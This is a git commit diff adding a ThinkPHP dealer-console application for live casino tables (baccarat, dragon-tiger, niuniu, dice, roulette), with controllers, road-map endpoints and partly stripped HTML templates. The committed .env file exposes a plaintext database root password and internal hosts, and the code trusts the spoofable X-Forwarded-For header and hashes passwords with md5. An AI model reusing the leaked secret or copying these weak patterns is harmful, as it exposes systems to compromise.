commit b8cd0c941881f8e3530934d38e350313c8f56ec5 Author: li Date: Wed Jan 28 23:48:20 2026 +0800 add diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000..084ac98 Binary files /dev/null and b/.DS_Store differ diff --git a/.env b/.env new file mode 100644 index 0000000..0833b08 --- /dev/null +++ b/.env @@ -0,0 +1,34 @@ +APP_DEBUG=true + +[APP] +DEFAULT_TIMEZONE=Asia/Singapore + +[DATABASE] +TYPE=mysql +HOSTNAME=127.0.0.1 +DATABASE=club +USERNAME=root +PASSWORD=8a2cff86ad165fsd +HOSTPORT=3306 +CHARSET=utf8 +DEBUG=true + +[LANG] +default_lang=zh-cn + +[SYSTEM] +WEBSOCKET=192.168.88.244:8802 +PROTOCOL=http +LOGO_PATH=/static/logo/fop_180_180.png +PLAYER=http://192.168.0.254/zb.html +dt_half = 1 +SB_SERVER=http://192.168.6.32:8080 + +[SWOOLE] +HOST=0.0.0.0 +HOST_LOCAL=127.0.0.1 +PORT=8082 +DAEMONIZE=false + +[DOMAIN] +CONSOLE=12fds5efe.abc.cc diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b4a7d40 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.ace-tool/ diff --git a/.htaccess b/.htaccess new file mode 100644 index 0000000..0519ecb --- /dev/null +++ b/.htaccess @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 0000000..36f7b6f --- /dev/null +++ b/.travis.yml @@ -0,0 +1,42 @@ +sudo: false + +language: php + +branches: + only: + - stable + +cache: + directories: + - $HOME/.composer/cache + +before_install: + - composer self-update + +install: + - composer install --no-dev --no-interaction --ignore-platform-reqs + - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Core.zip . + - composer require --update-no-dev --no-interaction "topthink/think-image:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-migration:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-captcha:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-mongo:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-worker:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-helper:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-queue:^1.0" + - composer require --update-no-dev --no-interaction "topthink/think-angular:^1.0" + - composer require --dev --update-no-dev --no-interaction "topthink/think-testing:^1.0" + - zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Full.zip . + +script: + - php think unit + +deploy: + provider: releases + api_key: + secure: TSF6bnl2JYN72UQOORAJYL+CqIryP2gHVKt6grfveQ7d9rleAEoxlq6PWxbvTI4jZ5nrPpUcBUpWIJHNgVcs+bzLFtyh5THaLqm39uCgBbrW7M8rI26L8sBh/6nsdtGgdeQrO/cLu31QoTzbwuz1WfAVoCdCkOSZeXyT/CclH99qV6RYyQYqaD2wpRjrhA5O4fSsEkiPVuk0GaOogFlrQHx+C+lHnf6pa1KxEoN1A0UxxVfGX6K4y5g4WQDO5zT4bLeubkWOXK0G51XSvACDOZVIyLdjApaOFTwamPcD3S1tfvuxRWWvsCD5ljFvb2kSmx5BIBNwN80MzuBmrGIC27XLGOxyMerwKxB6DskNUO9PflKHDPI61DRq0FTy1fv70SFMSiAtUv9aJRT41NQh9iJJ0vC8dl+xcxrWIjU1GG6+l/ZcRqVx9V1VuGQsLKndGhja7SQ+X1slHl76fRq223sMOql7MFCd0vvvxVQ2V39CcFKao/LB1aPH3VhODDEyxwx6aXoTznvC/QPepgWsHOWQzKj9ftsgDbsNiyFlXL4cu8DWUty6rQy8zT2b4O8b1xjcwSUCsy+auEjBamzQkMJFNlZAIUrukL/NbUhQU37TAbwsFyz7X0E/u/VMle/nBCNAzgkMwAUjiHM6FqrKKBRWFbPrSIixjfjkCnrMEPw= + file: + - ThinkPHP_Core.zip + - ThinkPHP_Full.zip + skip_cleanup: true + on: + tags: true diff --git a/404.html b/404.html new file mode 100644 index 0000000..6f17eaf --- /dev/null +++ b/404.html @@ -0,0 +1,7 @@ + +404 Not Found + +

404 Not Found

+
nginx
+ + \ No newline at end of file diff --git a/LICENSE.txt b/LICENSE.txt new file mode 100644 index 0000000..574a39c --- /dev/null +++ b/LICENSE.txt @@ -0,0 +1,32 @@ + +ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 +版权所有Copyright © 2006-2016 by ThinkPHP (http://thinkphp.cn) +All rights reserved。 +ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 + +Apache Licence是著名的非盈利开源组织Apache采用的协议。 +该协议和BSD类似,鼓励代码共享和尊重原作者的著作权, +允许代码修改,再作为开源或商业软件发布。需要满足 +的条件: +1. 需要给代码的用户一份Apache Licence ; +2. 如果你修改了代码,需要在被修改的文件中说明; +3. 在延伸的代码中(修改和有源代码衍生的代码中)需要 +带有原来代码中的协议,商标,专利声明和其他原来作者规 +定需要包含的说明; +4. 如果再发布的产品中包含一个Notice文件,则在Notice文 +件中需要带有本协议内容。你可以在Notice中增加自己的 +许可,但不可以表现为对Apache Licence构成更改。 +具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0 + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS +FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE +COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, +INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, +BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT +LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. diff --git a/app/.DS_Store b/app/.DS_Store new file mode 100644 index 0000000..04495c0 Binary files /dev/null and b/app/.DS_Store differ diff --git a/app/.htaccess b/app/.htaccess new file mode 100644 index 0000000..3418e55 --- /dev/null +++ b/app/.htaccess @@ -0,0 +1 @@ +deny from all \ No newline at end of file diff --git a/app/AppService.php b/app/AppService.php new file mode 100644 index 0000000..96556e8 --- /dev/null +++ b/app/AppService.php @@ -0,0 +1,22 @@ +"; + print_r($data); + echo ""; +} +// 生成一个apiToken 作用Websocket登录 +function create_login_token($user): string +{ + $curTime = time(); + return md5($curTime.$user['encrypt'].$user['password']); +} +//系统非常规MD5加密方法 +function think_ucenter_md5($str, $key = 'ThinkUCenter'): string +{ + return '' === $str ? '' : md5(sha1($str) . $key); +} +// 定义一个函数获取客户端IP地址 +function get_ip(){ + global $ip; + if(getenv("HTTP_X_FORWARDED_FOR")) + $ip = getenv("HTTP_X_FORWARDED_FOR"); + else if (getenv("HTTP_CLIENT_IP")) + $ip = getenv("HTTP_CLIENT_IP"); + else if(getenv("REMOTE_ADDR")) + $ip = getenv("REMOTE_ADDR"); + else $ip = ""; + return $ip; +} +// 正负数转换 +function to_number($number): float +{ + $returnNumber = $number > 0 ? -1 * $number : abs($number); + return round($returnNumber,2); +} +// 字符串结果转数组 +function string_to_array($string): array +{ + if (empty($string)){ + return []; + } + $array = explode(",", $string); + $returnArray = []; + foreach ($array as $v){ + $item = explode(":", $v); + $returnArray[$item[0]] = $item[1]; + } + return $returnArray; +} +// 数组结果转字符串 +function array_to_string($array): string +{ + $returnArray = []; + foreach ($array as $k => $v){ + $returnArray[] = $k.':'.$v; + } + return implode(",", $returnArray); +} diff --git a/app/event.php b/app/event.php new file mode 100644 index 0000000..e9851bb --- /dev/null +++ b/app/event.php @@ -0,0 +1,17 @@ + [ + ], + + 'listen' => [ + 'AppInit' => [], + 'HttpRun' => [], + 'HttpEnd' => [], + 'LogLevel' => [], + 'LogWrite' => [], + ], + + 'subscribe' => [ + ], +]; diff --git a/app/handle/common.php b/app/handle/common.php new file mode 100644 index 0000000..1243615 --- /dev/null +++ b/app/handle/common.php @@ -0,0 +1,2 @@ + $userController['id']])->update(['login_token' => $loginToken]); + $tableInfo = Table::get($userController['table_id']); + $langType = cookie('think_lang'); + + // 渲染参数和模板 + View::assign('login_token',$loginToken); + View::assign('table',$tableInfo); + View::assign('user',$userController); + View::assign('langType',$langType); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + View::assign('logoPath',Env::get('system.LOGO_PATH')); + View::assign('player',Env::get('system.PLAYER')); + + //View::assign('localSbServer',Env::get('system.SB_SERVER')); + View::assign('localSbServer', $tableInfo['media_near_rtmp']); // 无用的字段来作为本地识别设备IP + } + function get_lang(): Json + { + if (!Request::instance()->isPost()) return json(); + $lang = Lang::get(); + return json(['status' => 1, 'lang' => $lang]); + } + public function tab_baccarat(): string + { + self::precondition(); + $find = Session::get('user_info'); + $tableInfo = Table::get($find['table_id']); + if($tableInfo['is_scavenging'] == 1){ + return View::fetch('/index/tab_b_auto'); + }else{ + return View::fetch('/index/tab_b'); + } + + + } + public function tab_baccarat_sb(): string + { + self::precondition(); + return View::fetch('/index/tab_b_sb'); + } + + public function tab_dt(): string + { + self::precondition(); + $find = Session::get('user_info'); + $tableInfo = Table::get($find['table_id']); + if($tableInfo['is_scavenging'] == 1){ + return View::fetch('/index/tab_dt_auto'); + }else{ + return View::fetch('/index/tab_dt'); + } + + } + public function tab_dt_sb(): string + { + self::precondition(); + return View::fetch('/index/tab_dt_sb'); + } + + public function tab_nn(): string + { + self::precondition(); + return View::fetch('/index/tab_nn'); + } + public function tab_nn_sb(): string + { + self::precondition(); + return View::fetch('/index/tab_nn_sb'); + } + public function tab_knn(): string + { + self::precondition(); + return View::fetch('/index/tab_knn'); + } + public function tab_toning(): string + { + self::precondition(); + return View::fetch('/index/tab_toning'); + } + public function tab_dice(): string + { + self::precondition(); + return View::fetch('/index/tab_dice'); + } + + public function tab_roulette(): string + { + self::precondition(); + return View::fetch('/index/tab_roulette'); + } + //获取当前靴的结果汇总 + public function get_boot(): Json + { + if (!Request::instance()->isPost()) return json(); + $bootId = intval(Request::instance()->post('boot_id')); + $bootInfo = Boot::get($bootId); + return json(['code'=>1,'data'=>$bootInfo]); + } + + // 路单接口调用 + public function waybill(): Json + { + if (!Request::instance()->isPost()) return json(); + // 接收游戏ID和靴ID + $bootId = intval(Request::instance()->post('boot_id')); + $forecast = intval(Request::instance()->post('forecast')); + // 验证靴ID + if($bootId > 0){ + $ns = NumberTab::getByBootIdDone($bootId,'result,pair'); + if($forecast == 1){ + // 庄问路 + $ns[] = array('result'=>1,'pair'=>0); + }elseif($forecast == 2){ + // 闲问路 + $ns[] = array('result'=>2,'pair'=>0); + } + // 数据存在,输出路单 + if($ns){ + $result = Waybill::waybill($ns); + return json($result); + }else{ + $waybill = array(); + $waybill['bigEyeRoad'] = []; + $waybill['bigRoad'] = []; + $waybill['pathway'] = []; + $waybill['roach'] = []; + $waybill['showRoad'] = []; + return json(['status'=>false,'waybill'=>$waybill]); + } + }else{ + return json(['status'=>false,'msg'=>'靴ID错误']); + } + } + // 路单接口调用 + public function waybill_nn(): Json + { + if (!Request::instance()->isPost()) return json(); + $bootId = intval(Request::instance()->post('boot_id')); + // 验证靴ID + if($bootId > 0){ + $ns = NumberTab::getByBootIdDone($bootId,'result_banker,result_player_1,result_player_2,result_player_3,win_player_1,win_player_2,win_player_3'); + if($ns){ + $result = Waybill::waybillNn($ns); + return json($result); + }else{ + $waybill = array(); + return json(['status'=>false,'msg'=>'数据不存在','waybill'=>$waybill]); + } + }else{ + return json(['status'=>false,'msg'=>'靴ID错误']); + } + } + // 色碟露珠 + public function waybill_toning(){ + if (!Request::instance()->isPost()) return json(); + $bootId = intval(Request::instance()->post('boot_id')); + // 验证靴ID + if($bootId > 0){ + $ns = NumberTab::getByBootIdDone($bootId,'toning_result'); + if($ns){ + $result = Waybill::waybillToning($ns); + return json($result); + }else{ + $waybill = array(); + return json(['status'=>false,'msg'=>'数据不存在','waybill'=>$waybill]); + } + }else{ + return json(['status'=>false,'msg'=>'靴ID错误']); + } + } + + public function waybill_dice(){ + if (!Request::instance()->isPost()) return json(); + $bootId = intval(Request::instance()->post('boot_id')); + // 验证靴ID + if($bootId > 0){ + $ns = NumberTab::getByBootIdDone($bootId,'dice_result'); + $waybill = array(); + if($ns){ + foreach ($ns as $v){ + $strArray = explode(",", $v['dice_result']); + $intArray = array(); + foreach ($strArray as $value){ + $intArray[] = intval($value); + } + $waybill[] = $intArray; + } + return json(['status'=>true,'msg'=>'数据存在','waybill'=>$waybill]); + }else{ + return json(['status'=>false,'msg'=>'数据不存在','waybill'=>$waybill]); + } + }else{ + return json(['status'=>false,'msg'=>'靴ID错误']); + } + } + // 轮盘露珠 + // 色碟露珠 + public function waybill_roulette(){ + if (!Request::instance()->isPost()) return json(); + $bootId = intval(Request::instance()->post('boot_id')); + // 验证靴ID + if($bootId > 0){ + $ns = NumberTab::getByBootIdDone($bootId,'roulette_result'); + if($ns){ + $result = Waybill::waybillRoulette($ns); + return json($result); + }else{ + $waybill = array(); + return json(['status'=>false,'msg'=>'数据不存在','waybill'=>$waybill]); + } + }else{ + return json(['status'=>false,'msg'=>'靴ID错误']); + } + } + public function lang() { + switch (Request::instance()->get('lang')) { + case 'cn': + cookie('think_lang', 'zh-cn'); + break; + case 'tw': + cookie('think_lang', 'zh-tw'); + break; + case 'en': + cookie('think_lang', 'en-us'); + break; + //其它语言 + } + } + //获取点数 + public function get_nn_num(): Json + { + if (!Request::instance()->isPost()) return json(); + $resultArr = Request::instance()->post('result_json'); + $result = CardPositionNn::JudgeCowCow(json_decode($resultArr,true)); + return json(['status'=>true,'msg'=>$result['word']]); + } + public function get_number(): Json + { + if (!Request::instance()->isPost()) return json(); + $numberTabId = intval(Request::instance()->post('number_tab_id')); + $number = NumberTab::getFieldValue($numberTabId,"number"); + if ($number){ + return json(array('data' => $number, 'status' => 1)); + }else{ + return json(array('msg' => '数据出错', 'status' => 0)); + } + } + //获取上一局number_tab_id + public function get_last_number_tab_id(): Json + { + if (!Request::instance()->isPost()) return json(); + $tableId = intval(Request::instance()->post('table_id')); + $bootId = intval(Request::instance()->post('boot_id')); + $tableInfo = Table::get($tableId); + if (!$tableInfo) return json(array('msg' => '查询出错','status' => 0)); + if($tableInfo['table_type'] == 0 && $tableInfo['bet_type'] != 2) return json(array('msg' => '该桌不允许删除露珠','status' => 0)); + $lastNumberTabTableId = NumberTab::where(['boot_id' => $bootId, 'bet_status' => 3])->order('id DESC')->limit(1)->value('id'); + if($lastNumberTabTableId > 0){ + return json(['data' => $lastNumberTabTableId,'status' => 1]); + }else { + return json(['msg' => '没有可删除的上一铺', 'status' => 0]); + } + } + + public function get_result_total(){ + if(Request::instance()->isPost()){ + //获取路单对象 + $table_id = Request::instance()->post('table_id'); + $boot_id = Request::instance()->post('boot_id'); + $game_id = Table::where(array('id' => $table_id))->value('game_id'); + $result = array(); + $result['banker'] = NumberTab::where(array('boot_id' => $boot_id, 'result' => 1, 'table_id' => $table_id))->count(); + $result['player'] = NumberTab::where(array('boot_id' => $boot_id, 'result' => 2, 'table_id' => $table_id))->count(); + $result['tie'] = NumberTab::where(array('boot_id' => $boot_id, 'result' => 3, 'table_id' => $table_id))->count(); + if($game_id == 1){ + //百家乐 + $result['bankerPair'] = NumberTab::where(array('boot_id' => $boot_id, 'pair' => 1, 'table_id' => $table_id))->count(); + $result['playerPair'] = NumberTab::where(array('boot_id' => $boot_id, 'pair' => 2, 'table_id' => $table_id))->count(); + $both = NumberTab::where(array('boot_id' => $boot_id, 'pair' => 3, 'table_id' => $table_id))->count(); + $result['bankerPair'] = $result['bankerPair'] + $both; + $result['playerPair'] = $result['playerPair'] + $both; + $result['luckySix'] = NumberTab::where(array('boot_id' => $boot_id, 'result' => 1, 'table_id' => $table_id, 'luck_six'=>1))->count(); + } + return json(['code'=>1,'data'=>$result]); + } + return json(['code'=>0,'data'=>[]]); + } + +} diff --git a/app/handle/controller/Login.php b/app/handle/controller/Login.php new file mode 100644 index 0000000..1a56250 --- /dev/null +++ b/app/handle/controller/Login.php @@ -0,0 +1,74 @@ +post()){ + $username = Request::instance()->post('account'); + $password = Request::instance()->post('password'); + $find = Db::name('user_controller')->where(array('username' => $username, 'is_delete' => 0))->find(); + if(!$find){ + Session::delete('user_info'); + return json(['code' => 0, 'msg' => '用户不存在']); + } + if(think_ucenter_md5($password, UC_AUTH_KEY) === $find['password'] && $find['password']){ + Session::set('user_info',$find); + Db::name('user_controller')->where(array('id' => $find['id']))->update(array('last_login_time' => time(), 'last_login_ip' => get_ip())); + $tableInfo = Db::name('table')->where(array('id' => $find['table_id']))->find(); + cookie('think_lang',env('lang.default_lang', 'zh-cn')); + if($tableInfo['game_id'] == 2){ + $template = $tableInfo['scanner_type'] == 2 ? '/index/tab_dt_sb' : '/index/tab_dt'; + return json(['code'=>1,'msg'=>'登录成功','url'=>$template]); + + }else if($tableInfo['game_id'] == 4){ + $template = $tableInfo['scanner_type'] == 2 ? '/index/tab_nn_sb' : '/index/tab_nn'; + + return json(['code'=>1,'msg'=>'登录成功','url'=>$template]); + + }else if($tableInfo['game_id'] == 5){ + return json(['code'=>1,'msg'=>'登录成功','url'=>'/index/tab_knn']); + }else if($tableInfo['game_id'] == 1){ + + $template = $tableInfo['scanner_type'] == 2 ? '/index/tab_baccarat_sb' : '/index/tab_baccarat'; + return json(['code'=>1,'msg'=>'登录成功','url'=>$template]); + + }else if($tableInfo['game_id'] == 6){ + return json(['code'=>1,'msg'=>'登录成功','url'=>'/index/tab_toning']); + }else if($tableInfo['game_id'] == 7){ + return json(['code'=>1,'msg'=>'登录成功','url'=>'/index/tab_dice']); + }else if($tableInfo['game_id'] == 8){ + return json(['code'=>1,'msg'=>'登录成功','url'=>'/index/tab_roulette']); + }else{ + Session::delete('user_info'); + return json(['code'=>0,'msg'=>'账户信息出错']); + } + }else{ + Session::delete('user_info'); + return json(['code'=>0,'msg'=>'密码错误']); + } + } + } + /** + * 退出登录 + */ + public function logout(){ + Session::delete('user_info'); + return redirect('/login/index'); + } +} \ No newline at end of file diff --git a/app/handle/controller/Manager.php b/app/handle/controller/Manager.php new file mode 100644 index 0000000..4f5c9e1 --- /dev/null +++ b/app/handle/controller/Manager.php @@ -0,0 +1,21 @@ +where(array('id' => 2))->find(); + if(!$manager) exit('用户不存在'); + + View::assign('manager',$manager); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + return View::fetch(); + } +} \ No newline at end of file diff --git a/app/handle/controller/Scan.php b/app/handle/controller/Scan.php new file mode 100644 index 0000000..90ed6c1 --- /dev/null +++ b/app/handle/controller/Scan.php @@ -0,0 +1,99 @@ +where(array('id' => $userInfo['id']))->find(); + if(!$user) exit('用户不存在'); + // 获取桌子信息 + $table = Db::name('table')->where(array('id' => $userInfo['table_id']))->find(); + $numberTab = NumberTab::getByTableIdOrderByIdDesc($table); + + // 渲染参数和模板 + View::assign('table',$table); + View::assign('user',$user); + View::assign('numberTab', $numberTab); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + if ($table['scanner_type'] == 2) { + View::assign('localSbServer', $table['media_near_rtmp']); + return View::fetch('/scan/index_sb'); + } else { + return View::fetch(); + } + } + + public function dt_index(){ + // 用户信息 + $userInfo = Session::get('user_info'); + $user = Db::name('user_controller')->where(array('id' => $userInfo['id']))->find(); + if(!$user) exit('用户不存在'); + // 获取桌子信息 + $table = Db::name('table')->where(array('id' => $userInfo['table_id']))->find(); + $numberTab = NumberTab::getByTableIdOrderByIdDesc($table); + + // 渲染参数和模板 + View::assign('table',$table); + View::assign('user',$user); + View::assign('numberTab', $numberTab); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + if ($table['scanner_type'] == 2) { + View::assign('localSbServer', $table['media_near_rtmp']); + return View::fetch('/scan/dt_sb'); + } else { + return View::fetch(); + } + } + public function nn_index(){ + // 用户信息 + $userInfo = Session::get('user_info'); + $user = Db::name('user_controller')->where(array('id' => $userInfo['id']))->find(); + if(!$user) exit('用户不存在'); + // 获取桌子信息 + $table = Db::name('table')->where(array('id' => $userInfo['table_id']))->find(); + $numberTab = NumberTab::getByTableIdOrderByIdDesc($table); + + // 渲染参数和模板 + View::assign('table',$table); + View::assign('user',$user); + View::assign('numberTab', $numberTab); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + if ($table['scanner_type'] == 2) { + View::assign('localSbServer', $table['media_near_rtmp']); + return View::fetch('/scan/nn_sb'); + } else { + return View::fetch(); + } + + } + + public function tc_index(){ + // 用户信息 + $userInfo = Session::get('user_info'); + $user = Db::name('user_controller')->where(array('id' => $userInfo['id']))->find(); + if(!$user) exit('用户不存在'); + // 获取桌子信息 + $table = Db::name('table')->where(array('id' => $userInfo['table_id']))->find(); + $numberTab = NumberTab::getByTableIdOrderByIdDesc($table); + + // 渲染参数和模板 + View::assign('table',$table); + View::assign('user',$user); + View::assign('numberTab', $numberTab); + View::assign('websocketUrl',Env::get('system.WEBSOCKET')); + View::assign('websocketProtocol',Env::get('system.PROTOCOL')); + return View::fetch(); + } +} \ No newline at end of file diff --git a/app/handle/event.php b/app/handle/event.php new file mode 100644 index 0000000..4eff890 --- /dev/null +++ b/app/handle/event.php @@ -0,0 +1,5 @@ + + + + + 荷官端 + + + + + + +
+ +
+ + +
+
+ +
+
+
+ 《 +
+
+ + {:lang('start_bet')} + +
+
+ {:lang('banker')} + {:lang('player')} + {:lang('tie')} + {:lang('banker_pair')} + {:lang('player_pair')} +
+
+ {:lang('opening')} + + + + + + +
+
+ + {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+ 币种: + CNY + USD +
+
+
+
庄闲(RMB):
+
    和(RMB):
+
对子(RMB):
+ +
+
+
庄闲(USD):
+
    和(USD):
+
对子(USD):
+
+
+
+
+ Currency +
+
+ +
+
+ +
+
+ {:lang('edit_previous_result')} +
+
+ {:lang('select_result')}: + +
+ +
+ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/handle/view/index/tab_b_auto.html b/app/handle/view/index/tab_b_auto.html new file mode 100644 index 0000000..8c2cc0a --- /dev/null +++ b/app/handle/view/index/tab_b_auto.html @@ -0,0 +1,206 @@ + + + + + 荷官端 + + + + + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ + +
+
+ +
+ +
+
{:lang('banker')}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
{:lang('player')}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+ + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_b_sb.html b/app/handle/view/index/tab_b_sb.html new file mode 100644 index 0000000..bcdd41d --- /dev/null +++ b/app/handle/view/index/tab_b_sb.html @@ -0,0 +1,495 @@ + + + + + 荷官端 + + + + + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ + +
+
+ +
+ +
+
{:lang('banker')}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
{:lang('player')}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+ +
+ {:lang('restart_sb')} + {:lang('stop_sb')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+
+
+ + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ Submit + Cancel +
+
+ + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_dice.html b/app/handle/view/index/tab_dice.html new file mode 100644 index 0000000..9f3daa6 --- /dev/null +++ b/app/handle/view/index/tab_dice.html @@ -0,0 +1,129 @@ + + + + + 荷官端 + + + + + + +
+
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ +
+
+
+ + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
+
+
+
+
+ + + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_dt.html b/app/handle/view/index/tab_dt.html new file mode 100644 index 0000000..628b5a5 --- /dev/null +++ b/app/handle/view/index/tab_dt.html @@ -0,0 +1,232 @@ + + + + + 荷官端 + + + + + + +
+ +
+ +
+
+ +
+
+
+ 《 +
+
+ + {:lang('start_bet')} + +
+
+ {:lang('dragon_all')} + {:lang('tiger_all')} + {:lang('tie_all')} +
+
+ {:lang('opening')} + + + + +
+
+ + {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+ 币种: + CNY + USD +
+
+
+
龙虎(RMB):
+
    和(RMB):
+
+
+
龙虎(USD):
+
    和(USD):
+
+
+
+
+ Currency +
+
+ +
+
+ +
+
+ {:lang('edit_previous_result')} +
+
+ {:lang('select_result')}: + +
+ +
+ + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/app/handle/view/index/tab_dt_auto.html b/app/handle/view/index/tab_dt_auto.html new file mode 100644 index 0000000..bef38b9 --- /dev/null +++ b/app/handle/view/index/tab_dt_auto.html @@ -0,0 +1,175 @@ + + + + + 荷官端 + + + + + + + +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ + +
+
+ +
+
+
{:lang('tiger')}
+
+
+
+
+
+
+
+
{:lang('dragon')}
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+ + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_dt_sb.html b/app/handle/view/index/tab_dt_sb.html new file mode 100644 index 0000000..1208ceb --- /dev/null +++ b/app/handle/view/index/tab_dt_sb.html @@ -0,0 +1,464 @@ + + + + + 荷官端 + + + + + + + +
+
+ +
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ + +
+
+ +
+
+
{:lang('tiger')}
+
+
+
+
+
+
+
+
{:lang('dragon')}
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + +
+
+
+
+ +
+
+ {:lang('start')} + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+ {:lang('restart_sb')} + {:lang('stop_sb')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
+ +
+
+
+ + + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ + + + + + + + + + + + + +
+
+ Submit + Cancel +
+
+ + + + + + + + + + + + + + + + + + + diff --git a/app/handle/view/index/tab_knn.html b/app/handle/view/index/tab_knn.html new file mode 100644 index 0000000..f922341 --- /dev/null +++ b/app/handle/view/index/tab_knn.html @@ -0,0 +1,346 @@ + + + + + 荷官端 + + + + + + + + +
+
+
+
+
+
+ +
+
+
+
+
+
{:lang('now_time')}: 周四
+
+
+
+
+
+
+
+
+
+ {:lang('online_number')} + 0 +
+ +
+
+ +
+
+ + +
+
+
+
+ 定位 +
+
+
+
+ +
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+ +
+
+
闲1
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
闲2
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
闲3
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+ + + + + +
+
+
+
+ +
+
+ + {:lang('start')} + + {:lang('start')} + + {:lang('end')} +
+
+ {:lang('reset_number')} + {:lang('change_boot')} + {:lang('close_boot')} + {:lang('logout')} +
+
+
+
+
{:lang('edit_previous_result')}
+
+ {:lang('select_result')}: + +
